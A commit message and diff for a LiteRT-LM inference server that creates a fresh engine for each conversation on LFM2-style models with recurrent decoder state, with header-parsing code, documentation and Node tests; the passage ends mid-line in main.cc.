ExecutorMetadata declares the conv caches. For such a model, once a message has been sent on the engine, the next conversation gets a new engine with the same settings (the C API cannot reset that state), and the server says once per model file why (" keeps a recurrent state that LiteRT-LM carries from one conversation to the next on an engine; its engine is created again for each conversation"). What it found out about the model's constrained decoding is kept across those reloads, so that is still found out and logged once per load. A header the server cannot read changes nothing. - BUILDING-ENGINES.md: says so under "What the server is", with the costs and why a continued conversation is not reused (below). Behaviour change: every conversation with an LFM2 model (LFM2.5-230M, LFM2.5-VL and the other LFM2 and LFM2.5 files) starts from the model's initial state, so a chat's reply no longer depends on the chats and title requests before it. Each conversation after the first on such a model now costs an engine creation: 0.13 to 0.17 s for LFM2.5-230M on this 4-core x86-64 host's CPU with the compiled-model cache, 0.9 s without it, and 1.4 to 1.5 s for LFM2.5-VL-450M with the cache (its decoder takes that long to create). The daemon's title, memory and compaction requests are conversations too, and each pays it. Other models keep their engine as before. Not done: sending a request that extends the previous conversation exactly (its messages plus the reply plus new ones) to that conversation instead of reloading. LiteRT-LM's own multi-turn continuation does not prefill what a fresh render of the same history does: over three three-turn dialogues, greedy, through the wheel's Python API, the continued conversation held other token counts after each later turn (48 vs 52, 85 vs 95, 103 vs 129 for LFM2.5-230M; 40 vs 39 and 104 vs 99 for gemma-3-270m-it, whose engine is not reloaded) and answered differently ("Italy is located in Europe." vs "The capital of Italy is **Rome**."), so it would change the replies, not only their cost. Tests: engines/litert-lm-server/model-settings.test.mjs (new, node --test; built and run as constrained-decoding.test.mjs is, against the stand-in library, which now logs the calls the server makes to a file named by FAKE_LITERT_LM_CALLS) writes stand-in .litertlm files with real headers: "a model whose decoder keeps a recurrent state gets a new engine for each conversation, and only such a model" (an LFM2-typed header, a generic_model one with a kv_cache_c_ state, a linear-attention state under another name, a KV-only header and no header: one engine per request for the first three, one in all for the others, and the reason logged once per model) and "a model whose decoder keeps a recurrent state still finds out once per load that it refuses constrained decoding". With LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model answers a conversation as it would on a fresh engine, whatever came before: " asks the question again after a pirate chat, and its second turn after a title request, and compares both with fresh servers. With main.cc as it was, the first test and the real-model one on LFM2.5-230M_int8 fail ([1, 0, 0] engines; 'The capital of France is Paris.' for 'Paris'); the real-model one passes on gemma-3-270m-it either way, and the second stand-in test passes too but fails if the reload forgets what it found out (3 log lines for 1). Changed existing test: constrained-decoding.test.mjs takes its build, server and request helpers from the new testdata/harness.mjs, shared with the new file, and the stand-in library is built with nlohmann's header for its call log; its tests are unchanged and pass. Both files' after() waits for their before(), so a --test-name-pattern that matches none of a file's tests does not fail it. Not run on a device: the cost of a reload on the GPU backend (the owner's first load of LFM2.5-230M there took 10.4 s, and each later LFM2 conversation now pays a reload) needs a phone. --- BUILDING-ENGINES.md | 20 ++ .../constrained-decoding.test.mjs | 150 +----------- .../litert-lm-server/model-settings.test.mjs | 142 +++++++++++ engines/litert-lm-server/src/main.cc | 172 +++++++++++++- .../testdata/fake_litert_lm.cc | 23 +- engines/litert-lm-server/testdata/harness.mjs | 224 ++++++++++++++++++ 6 files changed, 586 insertions(+), 145 deletions(-) create mode 100644 engines/litert-lm-server/model-settings.test.mjs create mode 100644 engines/litert-lm-server/testdata/harness.mjs diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 91e0f25..aa98859 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -348,6 +348,26 @@ checks this against a stand-in `liblitert-lm.so` that answers as 0.18.0 does for and on real models when `LITERT_LM_TEST_LIBRARY` and `LITERT_LM_TEST_MODELS` are set (see the file). +**A model whose decoder keeps a recurrent state gets a new engine for each conversation after +the first.** LiteRT-LM 0.18.0 starts every new conversation on an engine at step 0 with the +executor's buffers as the last one left them: right for a KV cache, whose entries past the step +are masked, but not for LFM2's short-convolution cache, which is read as it is, so each chat +turn (each is a new request, and the daemon's title, memory and compaction requests come in +between) began from the end of the one before (LiteRT-LM #3165). The server tells such a model +by its own header: LlmMetadata's model type is LFM2, or ExecutorMetadata declares a +linear-attention state or LFM2's `kv_cache_c_*` caches (files packed as `generic_model` declare +those too). The C API cannot reset that state, so the engine is created again with the same +settings: 0.13 to 0.17 s per conversation for LFM2.5-230M on a 4-core x86-64 CPU with the +compiled-model cache, 0.9 s without it, and about 1.5 s for LFM2.5-VL-450M with the cache (its +decoder, not its vision encoder, takes that long); GPU unmeasured. The daemon's title, memory +and compaction requests are conversations too, and each pays it. Sending a request that only +extends the previous conversation to that conversation instead is not done: LiteRT-LM's own +multi-turn continuation does not prefill the tokens a fresh render of the same history does +(other token counts, other replies, for Gemma models too), so it would change what the model +answers. `node --test engines/litert-lm-server/model-settings.test.mjs` checks which models get +a new engine against the stand-in library, and on real models (see the file) that a +conversation's reply does not depend on the ones before it. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/constrained-decoding.test.mjs b/engines/litert-lm-server/constrained-decoding.test.mjs index 903b3ba..fd8a2f1 100644 --- a/engines/litert-lm-server/constrained-decoding.test.mjs +++ b/engines/litert-lm-server/constrained-decoding.test.mjs @@ -1,7 +1,7 @@ // Tests which conversations the LiteRT-LM server asks the runtime for, and what it answers when one cannot be made // (src/main.cc, HandleChatCompletions): // node --test engines/litert-lm-server/constrained-decoding.test.mjs -// The server is built for this machine with c++, as in parent-death.test.mjs, and runs against +// The server is built for this machine with c++, as in parent-death.test.mjs (testdata/harness.mjs), and runs against // testdata/fake_litert_lm.cc, a stand-in liblitert-lm.so that answers the conversation calls as LiteRT-LM 0.18.0 does // for an LFM2 model, for Gemma models and for a few failures, and whose reply says how its conversation was created. // Linux only, like that test, and skipped without a C and a C++ compiler. Building takes a few seconds. @@ -15,40 +15,22 @@ // bounded (the compiler check, the build, a server's start, each request, each test), so a server that hangs fails the // test by name instead of holding the run. import assert from 'node:assert/strict' -import { spawn, spawnSync } from 'node:child_process' -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { createServer } from 'node:net' +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { after, before, test } from 'node:test' -import { fileURLToPath } from 'node:url' +import { buildServer, chat, killServers, logged, realLibrary, realModels, skip, skipReal, startServer, stopServer } from './testdata/harness.mjs' -const root = fileURLToPath(new URL('.', import.meta.url)) const work = mkdtempSync(join(tmpdir(), 'litert-lm-server-cd-test-')) -const servers = [] // What before() is still doing. With a --test-name-pattern that leaves no test in this file, node runs after() while // before() is starting the server, and removing `work` under it failed the file (spawn ... ENOENT); so after() waits. let ready = Promise.resolve() after(async () => { await ready.catch(() => {}) - for (const s of servers) { - try { - process.kill(s.pid, 'SIGKILL') - } catch {} - } + killServers() rmSync(work, { recursive: true, force: true }) }) -// A compiler that does not answer in 10 s counts as missing (the timeout sets .error), so the file skips cleanly. -const missing = ['cc', 'c++'].filter((c) => spawnSync(c, ['--version'], { stdio: 'ignore', timeout: 10_000 }).error) -const skip = process.platform !== 'linux' ? 'the server is tested on Linux only' - : missing.length ? `no ${missing.join(' or ')} on this machine` : false -const realLibrary = process.env.LITERT_LM_TEST_LIBRARY -const realModels = (process.env.LITERT_LM_TEST_MODELS ?? '').split(',').filter(Boolean) -const skipReal = skip || (!realLibrary || !realModels.length - ? 'set LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS to run the server on real models' : false) -const binary = join(work, 'litertlm_server') - // One file per kind of model the stand-in knows (see testdata/fake_litert_lm.cc); it reads only the name. None starts // with "LITERTLM", so the server leaves it to the runtime. const model = (kind) => { @@ -57,125 +39,16 @@ const model = (kind) => { return path } +let binary let fake before(() => (ready = (async () => { if (skip) return - // The stand-in: testdata/fake_litert_lm.cc, and every other function the server resolves (src/litert_lm_api.h) as - // one that does nothing. - const header = readFileSync(join(root, 'src', 'litert_lm_api.h'), 'utf8') - const names = [...header.matchAll(/^\s*X\((\w+)\)/gm)].map((m) => m[1]) - assert.ok(names.length > 40, 'the C API list in litert_lm_api.h was not found') - const source = readFileSync(join(root, 'testdata', 'fake_litert_lm.cc'), 'utf8') - const defined = new Set([...source.matchAll(/^\S.*?\b(litert_lm_\w+)\(/gm)].map((m) => m[1])) - writeFileSync(join(work, 'rest.c'), names.filter((n) => !defined.has(n)).map((n) => `void ${n}(void) {}\n`).join('')) - // Each build is bounded by itself: spawnSync holds the event loop, so the hook's own timeout cannot end one. - const cxx = (args) => { - const r = spawnSync('c++', args, { encoding: 'utf8', timeout: 120_000 }) - assert.equal(r.status, 0, r.error ? `c++: ${r.error.message}` : r.stderr) - } - cxx([ - '-std=c++17', '-shared', '-fPIC', '-x', 'c++', join(root, 'testdata', 'fake_litert_lm.cc'), '-x', 'c', join(work, 'rest.c'), - '-I', join(root, 'third_party', 'litert_lm'), '-o', join(work, 'liblitert-lm.so'), - ]) - cxx([ - '-std=c++17', '-O0', '-w', '-I', join(root, 'third_party', 'litert_lm'), '-I', join(root, 'third_party'), - '-DLITERT_LM_VERSION="test"', join(root, 'src', 'main.cc'), join(root, 'src', 'litert_lm_api.cc'), - '-ldl', '-pthread', '-o', binary, - ]) - // Beside the server, where LoadLiteRtLm looks first after LITERT_LM_LIBRARY. --verbose for logged() below. - fake = await startServer({ ...process.env, LITERT_LM_LIBRARY: '' }, ['--verbose']) + binary = buildServer(work) + // --verbose for logged(). + fake = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: '' }, ['--verbose']) })()), { timeout: 300_000 }) -function freePort() { - return new Promise((resolve, reject) => { - const s = createServer().once('error', reject) - s.listen(0, '127.0.0.1', () => { - const { port } = s.address() - s.close(() => resolve(port)) - }) - }) -} - -async function startServer(env, args = []) { - const port = await freePort() - const child = spawn(binary, ['serve', '--host', '127.0.0.1', '--port', String(port), ...args], { env, stdio: ['ignore', 'ignore', 'pipe'] }) - servers.push(child) - const server = { port, stderr: '', child } - child.stderr.setEncoding('utf8') - child.stderr.on('data', (d) => { server.stderr += d }) - await new Promise((resolve, reject) => { - // It logs this before it loads any model, so 30 s is plenty; the server is killed when the tests end. - const timer = setTimeout(() => reject(new Error(`the server did not start in 30 s: ${server.stderr}`)), 30_000) - const onData = () => { - if (server.stderr.includes('Starting OpenAI-compatible API server')) { - clearTimeout(timer) - resolve() - } - } - child.stderr.on('data', onData) - child.once('exit', (code) => { - clearTimeout(timer) - reject(new Error(`the server exited ${code}: ${server.stderr}`)) - }) - }) - return server -} - -// fetch, bounded: without a signal undici waits 300 s for a reply's headers and then says only "fetch failed". -async function request(url, init, ms) { - const signal = AbortSignal.timeout(ms) - try { - const res = await fetch(url, { ...init, signal }) - return { status: res.status, text: await res.text() } - } catch (err) { - if (!signal.aborted) throw err - throw new Error(`${init?.method ?? 'GET'} ${url} ${init?.body ?? ''}: no reply in ${ms / 1000} s`) - } -} - -// A stand-in answers at once; the real-model test gives each request longer, since a model loads on its first one. -async function chat(server, body, ms = 30_000) { - const res = await request(`http://127.0.0.1:${server.port}/v1/chat/completions`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(body), - }, ms) - const text = res.text - if (body.stream && res.status === 200) { - const events = text.split('\n\n').filter((e) => e.startsWith('data: ')).map((e) => e.slice(6)) - assert.equal(events.at(-1), '[DONE]', text) - const chunks = events.slice(0, -1).map((e) => JSON.parse(e)) - return { - status: res.status, - content: chunks.map((c) => c.choices[0]?.delta?.content ?? '').join(''), - reasoning: chunks.map((c) => c.choices[0]?.delta?.reasoning_content ?? '').join(''), - finish: chunks.at(-1).choices[0].finish_reason, - } - } - const json = JSON.parse(text) - if (res.status !== 200) return { status: res.status, error: json.error.message } - return { - status: res.status, - content: json.choices[0].message.content ?? '', - reasoning: json.choices[0].message.reasoning_content ?? '', - tool_calls: json.choices[0].message.tool_calls, - finish: json.choices[0].finish_reason, - } -} - -const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) -// What the server has logged, all of it up to now: a reply can arrive before the lines logged while it was made. With -// --verbose the server logs each request as it reads it, so once a GET /health made now shows up, all are in. -async function logged(server) { - const marks = () => server.stderr.split('\n').filter((l) => l === 'GET /health').length - const seen = marks() - assert.equal((await request(`http://127.0.0.1:${server.port}/health`, undefined, 5000)).status, 200) - for (const end = Date.now() + 5000; marks() === seen && Date.now() < end;) await sleep(10) - assert.ok(marks() > seen, 'the server did not log GET /health') - return server.stderr.split('\n') -} - // The stand-in's reply: how the conversation was created and sent, and how many conversations the process has created. function created(reply) { assert.equal(reply.status, 200, reply.error) @@ -282,7 +155,7 @@ for (const path of realModels.length ? realModels : ['']) { // No compiled-model cache: by default the runtime writes one beside the model, as large as the model. const config = join(work, 'no-cache.json') writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) - const real = await startServer({ ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + const real = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) try { const ms = 300_000 // per request: the first one loads the model const ref = `${path},cpu` @@ -301,10 +174,7 @@ for (const path of realModels.length ? realModels : ['']) { assert.equal(badRegex.status, 400) assert.match(badRegex.error, /^Invalid response_format parameters: INTERNAL: Failed to create LLGuidance constraint: /) } finally { - // This model's server goes now, not when the file ends: each one holds its model in memory. - try { - process.kill(real.child.pid, 'SIGKILL') - } catch {} + stopServer(real) // now, not when the file ends: each one holds its model in memory } }) } diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs new file mode 100644 index 0000000..d82a71b --- /dev/null +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -0,0 +1,142 @@ +// Tests what the LiteRT-LM server asks the runtime for: what each model itself needs and supports, and the settings a +// request makes (src/main.cc): +// node --test engines/litert-lm-server/model-settings.test.mjs +// The server is built for this machine with c++ (testdata/harness.mjs) and runs against testdata/fake_litert_lm.cc, a +// stand-in liblitert-lm.so that logs what it is asked for (FAKE_LITERT_LM_CALLS). Linux only, and skipped without a C +// and a C++ compiler. Building takes a few seconds. +// +// Given a liblitert-lm.so that runs on this machine (the one in the manylinux litert-lm-api wheel of the version +// scripts/stage-litert-lm-engine.mjs pins) and .litertlm models, the tests named "a real model ..." also run the +// server on each model (see constrained-decoding.test.mjs): +// LITERT_LM_TEST_LIBRARY= LITERT_LM_TEST_MODELS=[,...] \ +// node --test engines/litert-lm-server/model-settings.test.mjs +// (an LFM2 one: litert-community/LFM2.5-230M on Hugging Face; a Gemma one: litert-community/gemma-3-270m-it). +// Every server a test starts is killed by pid when that test ends, or at the latest when the tests end. Every wait is +// bounded. +import assert from 'node:assert/strict' +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { basename, join } from 'node:path' +import { after, before, test } from 'node:test' +import { + buildServer, calls, chat, killServers, litertlmFile, logged, proto, realLibrary, realModels, skip, skipReal, startServer, + stopServer, +} from './testdata/harness.mjs' + +const work = mkdtempSync(join(tmpdir(), 'litert-lm-server-ms-test-')) +// What before() is still doing. With a --test-name-pattern that leaves no test in this file, node runs after() while +// before() is starting the server, and removing `work` under it failed the file (spawn ... ENOENT); so after() waits. +let ready = Promise.resolve() +after(async () => { + await ready.catch(() => {}) + killServers() + rmSync(work, { recursive: true, force: true }) +}) + +const callLog = join(work, 'calls.jsonl') +let binary +let fake + +before(() => (ready = (async () => { + if (skip) return + binary = buildServer(work) + fake = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: '', FAKE_LITERT_LM_CALLS: callLog }, ['--verbose']) +})()), { timeout: 300_000 }) + +// The calls the stand-in logged while `fn` ran. +async function callsDuring(fn) { + const before = calls(callLog).length + await fn() + return calls(callLog).slice(before) +} + +const hello = [{ role: 'user', content: 'Hello' }] + +// The header sections of the stand-in files (runtime/proto/llm_metadata.proto, executor_metadata.proto). +const llmMetadata = (modelType) => ({ type: 5, bytes: proto.field(6, proto.field(modelType, [])) }) // llm_model_type +const stateBuffer = (name, type) => proto.field(2, [proto.field(1, name), proto.varint(6, type)]) +const executorMetadata = (...buffers) => ({ type: 9, bytes: proto.field(1, buffers) }) +const GENERIC = 1 +const LFM2 = 11 + +test('a model whose decoder keeps a recurrent state gets a new engine for each conversation, and only such a model', { skip, timeout: 60_000 }, async () => { + const models = { + // llm_model_type lfm2, as litert-community's LFM2 files have since 2026-10-14 + 'lfm2-typed': [llmMetadata(LFM2)], + // generic_model, with LFM2's conv caches declared (litert-community's LFM2.5-230M before 2026-10-14) + 'conv-generic': [llmMetadata(GENERIC), executorMetadata(stateBuffer('kv_cache_c_0', 5), stateBuffer('kv_cache_k_1', 1), stateBuffer('kv_cache_v_1', 2))], + // a linear-attention state under another name + 'linear-attention': [executorMetadata(stateBuffer('state_0', 5), stateBuffer('kv_cache_k_1', 1))], + // a KV cache only, global and local + 'kv-only': [llmMetadata(GENERIC), executorMetadata(stateBuffer('kv_cache_k_0', 1), stateBuffer('kv_cache_v_0', 2), stateBuffer('kv_cache_k_1', 3))], + // no header the server can read: left to the runtime, as before + 'no-header': null, + } + for (const [name, sections] of Object.entries(models)) { + const path = join(work, `${name}.litertlm`) + if (sections) litertlmFile(path, sections) + else writeFileSync(path, 'stand-in model') + const engines = [] + for (let i = 0; i < 3; i++) { + const log = await callsDuring(async () => assert.equal((await chat(fake, { model: path, messages: hello })).status, 200)) + engines.push(log.filter((c) => c.call === 'engine_create').length) + } + const recurrent = !['kv-only', 'no-header'].includes(name) + assert.deepEqual(engines, recurrent ? [1, 1, 1] : [1, 0, 0], name) + const said = (await logged(fake)).filter((l) => l.startsWith(`${name}.litertlm keeps a recurrent state`)) + assert.equal(said.length, recurrent ? 1 : 0, fake.stderr) + } + // The reason is given once per model, not once per load. + await chat(fake, { model: join(work, 'kv-only.litertlm'), messages: hello }) + for (let i = 0; i < 2; i++) await chat(fake, { model: join(work, 'lfm2-typed.litertlm'), messages: hello }) + assert.equal((await logged(fake)).filter((l) => l.startsWith('lfm2-typed.litertlm keeps a recurrent state')).length, 1) +}) + +test('a model whose decoder keeps a recurrent state still finds out once per load that it refuses constrained decoding', { skip, timeout: 60_000 }, async () => { + const path = litertlmFile(join(work, 'lfm2-tools.litertlm'), [llmMetadata(LFM2)]) + const tools = [{ type: 'function', function: { name: 'f', parameters: { type: 'object', properties: {} } } }] + for (let i = 0; i < 3; i++) assert.equal((await chat(fake, { model: path, messages: hello, tools })).status, 200) + const lines = (await logged(fake)).filter((l) => l.startsWith('constrained decoding is not available for lfm2-tools.litertlm')) + assert.equal(lines.length, 1, fake.stderr) +}) + +// The probe: a pirate persona, a question, a title request, then the question's second turn. +const pirate = [{ role: 'system', content: 'You are a pirate. Always talk like a pirate.' }, { role: 'user', content: 'Tell me about the sea.' }] +const t1 = [{ role: 'system', content: 'Answer in one word.' }, { role: 'user', content: 'What is the capital of France?' }] +const title = [ + { role: 'system', content: 'Write a short title for this conversation. Reply with the title only.' }, + { role: 'user', content: 'User: What is the capital of France?\nAssistant: Paris' }, +] +const t2 = [...t1, { role: 'assistant', content: 'Paris' }, { role: 'user', content: 'And of Italy?' }] + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model answers a conversation as it would on a fresh engine, whatever came before: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') // no compiled-model cache beside the model + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const env = { ...process.env, LITERT_LM_LIBRARY: realLibrary } + const ms = 300_000 + // A seed, so that a model that samples answers the same twice (each conversation seeds its own generator). + const ask = (server, messages) => chat(server, { model: `${path},cpu`, messages, seed: 7, max_completion_tokens: 32 }, ms) + const fresh = {} + for (const [name, messages] of Object.entries({ t1, t2 })) { + const server = await startServer(binary, env, ['--config', config]) + try { + fresh[name] = await ask(server, messages) + assert.equal(fresh[name].status, 200, fresh[name].error) + } finally { + stopServer(server) + } + } + const server = await startServer(binary, env, ['--config', config]) + try { + for (const messages of [pirate, t1]) assert.equal((await ask(server, messages)).status, 200) + const again = await ask(server, t1) + assert.equal(again.content, fresh.t1.content, `${basename(path)}: the same question asked again`) + assert.equal((await ask(server, title)).status, 200) + const second = await ask(server, t2) + assert.equal(second.content, fresh.t2.content, `${basename(path)}: the second turn after a title request`) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 38d05fa..c462f5e 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -31,6 +31,8 @@ // - Constrained decoding only for requests with tools, and none for a model that refuses it, so // LFM2 models answer at all (the Python server fails every request to one). A response_format // the model cannot follow, or whose regex or schema cannot be compiled, is a 400, not a 500. +// - A new engine for each conversation of a model whose decoder keeps a recurrent state (LFM2), which the runtime +// would otherwise carry from one conversation into the next (see GetOrCreateEngine). // // Not translated: /v1/responses, /v1/embeddings and the Gemini API (TurboLLM uses none of them // with this engine), and image URLs other than base64 data: URLs (remote URLs, and local paths, which the Python @@ -67,6 +69,7 @@ #include #include #include +#include #include #include #include @@ -275,6 +278,137 @@ ModelRef ParseModelParameter(const std::string& raw) { return ref; } +// ── What the model file says about itself ───────────────────────────────────────────────── +// After the 32-byte preamble a .litertlm has a FlatBuffer header (schema/core/litertlm_header_schema.fbs in LiteRT-LM +// 0.18.0) that lists its sections with their byte ranges in the file. Two are small protobufs the runtime reads at load: +// LlmMetadata (runtime/proto/llm_metadata.proto) and ExecutorMetadata (executor_metadata.proto). + +struct ModelFileInfo { + // The decoder keeps a recurrent state besides its KV cache: LFM2's short-convolution cache (the kv_cache_c_* inputs), + // or any linear-attention state. See GetOrCreateEngine for why that matters. + bool recurrent_state = false; +}; + +// Bounds-checked reads of a FlatBuffer: just what the header's section list needs. Little-endian, as are the +// FlatBuffer format and every ABI the server is built for. +struct FbReader { + const std::string& b; + template + std::optional Get(uint64_t pos) const { + if (pos > b.size() || sizeof(T) > b.size() - pos) return std::nullopt; + T v; + std::memcpy(&v, b.data() + pos, sizeof v); + return v; + } + // Where field i of the table at `table` is, or 0 when the table does not have it. + uint64_t Field(uint64_t table, int i) const { + auto back = Get(table); + if (!back || static_cast(table) - *back < 0) return 0; + uint64_t vtable = static_cast(static_cast(table) - *back); + auto vsize = Get(vtable); + if (!vsize || 4u + 2u * i + 2u > *vsize) return 0; + auto at = Get(vtable + 4 + 2 * i); + return at && *at ? table + *at : 0; + } + // The table or vector a uoffset at `pos` points to, or 0. + uint64_t Follow(uint64_t pos) const { + auto off = pos ? Get(pos) : std::nullopt; + return off && *off ? pos + *off : 0; + } +}; + +// Calls f(field number, varint value, bytes) for each top-level field of a protobuf message: the varint for wire type +// 0, the bytes for wire type 2; fixed-width fields are skipped. False when the message is malformed. +template +bool ForEachProtoField(const std::string& m, F f) { + size_t i = 0; + auto varint = [&](uint64_t& v) { + v = 0; + for (int shift = 0; shift < 64; shift += 7) { + if (i >= m.size()) return false; + unsigned char c = static_cast(m[i++]); + v |= static_cast(c & 0x7f) << shift; + if (c < 0x80) return true; + } + return false; + }; + while (i < m.size()) { + uint64_t key, v; + if (!varint(key)) return false; + const int field = static_cast(key >> 3); + switch (key & 7) { + case 0: + if (!varint(v)) return false; + f(field, v, std::string()); + break; + case 2: + if (!varint(v) || v > m.size() - i) return false; + f(field, 0, m.substr(i, v)); + i += v; + break; + case 1: + i += 8; + break; + case 5: + i += 4; + break; + default: + return false; + } + if (i > m.size()) return false; + } + return true; +} + +// LlmMetadata names the model type LFM2 (llm_model_type, field 6, with its lfm2 member, field 11), or ExecutorMetadata +// declares a state buffer that is a linear-attention state (StateBuffer.type 5) or LFM2's conv cache (kv_cache_c_*, +// which the runtime keeps among its KV buffers: GetKVCacheRootNames in litert_compiled_model_executor_utils.cc). The +// type alone misses files packed with generic_model, as litert-community's LFM2.5-230M was before 2026-10-14 and a +// third-party LFM2.5-VL-3B is; their ExecutorMetadata still declares the conv caches. +bool HasRecurrentState(int section_type, const std::string& proto) { + bool found = false; + if (section_type == 5) { // LlmMetadataProto + ForEachProtoField(proto, [&](int field, uint64_t, const std::string& type) { + if (field == 6) ForEachProtoField(type, [&](int member, uint64_t, const std::string&) { found |= member == 11; }); + }); + } else if (section_type == 9) { // ExecutorMetadataProto + ForEachProtoField(proto, [&](int field, uint64_t, const std::string& llm) { + if (field != 1) return; + ForEachProtoField(llm, [&](int field, uint64_t, const std::string& buffer) { + if (field != 2) return; // state_buffers + ForEachProtoField(buffer, [&](int field, uint64_t v, const std::string& name) { + found |= (field == 6 && v == 5) || ((field == 1 || field == 3) && name.rfind("kv_cache_c_", 0) == 0); + }); + }); + }); + } + return found; +} + +// `header` is the file's bytes from 32 to the header's end. A header or section this cannot read says nothing. +ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { + ModelFileInfo info; + FbReader fb{header}; + const uint64_t root = fb.Get(0).value_or(0); // the root table's uoffset, from 0 + const uint64_t sections = fb.Follow(fb.Field(fb.Follow(fb.Field(root, 1)), 0)); // section_metadata.objects + const uint32_t n = sections ? fb.Get(sections).value_or(0) : 0; + for (uint32_t k = 0; k < n && k < 4096; ++k) { + const uint64_t s = fb.Follow(sections + 4 + 4ull * k); + const uint64_t at_begin = fb.Field(s, 1), at_end = fb.Field(s, 2), at_type = fb.Field(s, 3); + if (!s || !at_begin || !at_end || !at_type) continue; + const int type = fb.Get(at_type).value_or(0); + const uint64_t begin = fb.Get(at_begin).value_or(0), end = fb.Get(at_end).value_or(0); + if ((type != 5 && type != 9) || end <= begin || end - begin > (1u << 20)) continue; + std::string proto(end - begin, '\0'); + in.clear(); + if (!in.seekg(static_cast(begin)) || !in.read(&proto[0], static_cast(proto.size()))) { + continue; + } + info.recurrent_state |= HasRecurrentState(type, proto); + } + return info; +} + // ── Engine lifetime (util.get_or_initialize_server_engine) ───────────────────────────────── struct EngineKey { @@ -294,6 +428,10 @@ struct EngineHolder { // it was created: its data processor cannot constrain tool calls (see HandleChatCompletions), so its later requests // with tools are created without it at once. Cleared when another engine is loaded. bool tools_unconstrained = false; + // The model's decoder keeps a recurrent state (ModelFileInfo), and a message has been sent on this engine since it + // was created, so that state is no longer the initial one. + bool recurrent_state = false; + bool state_used = false; }; std::mutex g_engine_mu; // held for the whole of every inference: the engine is one shared resource @@ -354,7 +492,17 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { throw HttpError(500, "Failed to load engine: ValueError(\"Unsupported backend: '" + key.backend + "'\")"); } - if (g_engine.engine && g_engine.key == key) return g_engine.engine; + // A model whose decoder keeps a recurrent state gets a new engine for every conversation after the first. LiteRT-LM + // 0.18.0 starts each new conversation on an engine at step 0 and keeps the executor's buffers as they are there + // (RestoreContext in llm_litert_compiled_model_executor.cc), which is right for a KV cache, whose entries past the + // step are masked, but not for LFM2's short-convolution cache: it is read as it is, so every conversation after the + // first began from the end of the one before. On one engine LFM2.5-230M answered [system "Answer in one word.", + // user "What is the capital of France?", assistant "Paris", user "And of Italy?"] with "Paris is the capital of + // France." after that same question's first turn and a title request, and with "The capital of Italy is **Rome**." + // on a fresh one (LiteRT-LM #3165; the model card says to create a new Engine for each conversation). The C API has + // no way to reset that state, so the engine is created again, with the same settings. + const bool fresh_state = g_engine.engine && g_engine.key == key && g_engine.recurrent_state && g_engine.state_used; + if (g_engine.engine && g_engine.key == key && !fresh_state) return g_engine.engine; // A .litertlm starts with "LITERTLM", three uint32 versions, 4 bytes of padding and a little-endian uint64 header-end // offset (the same 32 bytes the daemon's models/litertlm.ts reads). The runtime allocates and zeroes header_end - 32 // bytes before reading the header, and the std::bad_alloc a bogus offset raises crosses the C API into std::terminate, @@ -363,7 +511,8 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { // offset can never load, yet would still cost an allocation up to the file's size (hundreds of MB on a phone). // Checked before the loaded engine is released, which a bad file then leaves in place. // A file that can't be read or lacks the magic is left to the runtime, which reports it cleanly and more precisely - // (e.g. "Permission denied"). + // (e.g. "Permission denied"). A header that passes is read for ModelFileInfo. + ModelFileInfo info; { struct stat st {}; unsigned char h[32] = {}; @@ -377,8 +526,19 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + ": invalid .litertlm header')"); } + if (ok) { + std::string header(header_end - 32, '\0'); + if (in.read(&header[0], static_cast(header.size()))) info = ReadModelFileInfo(in, header); + } } - if (g_engine.engine) { + if (fresh_state) { + static std::set told; // once per model file, not per conversation + if (told.insert(ref.path).second) { + Log(ref.id + " keeps a recurrent state that LiteRT-LM carries from one conversation to the next on an engine; " + "its engine is created again for each conversation"); + } + ReleaseEngine(); + } else if (g_engine.engine) { Log("Re-initializing engine (model: " + ref.id + ", backend: " + key.backend + ")"); ReleaseEngine(); } @@ -409,7 +569,10 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { } g_engine.engine = e; g_engine.key = key; - g_engine.tools_unconstrained = false; + // The same model and settings again: what was found out about the model still holds. + if (!fresh_state) g_engine.tools_unconstrained = false; + g_engine.recurrent_state = info.recurrent_state; + g_engine.state_used = false; g_engine.init_seconds = std::chrono::duration(std::chrono::steady_clock::now() - t0).count(); Log("Engine ready in " + std::to_string(g_engine.init_seconds) + " s"); return e; @@ -1212,6 +1375,7 @@ void HandleChatCompletions(int fd, const Request& req) { std::string msg_str = prompt.dump(); L.litert_lm_clear_last_error(); + g_engine.state_used = true; // even a send that fails may have prefilled part of the message int rc = L.litert_lm_conversation_send_message_stream(conv.get(), 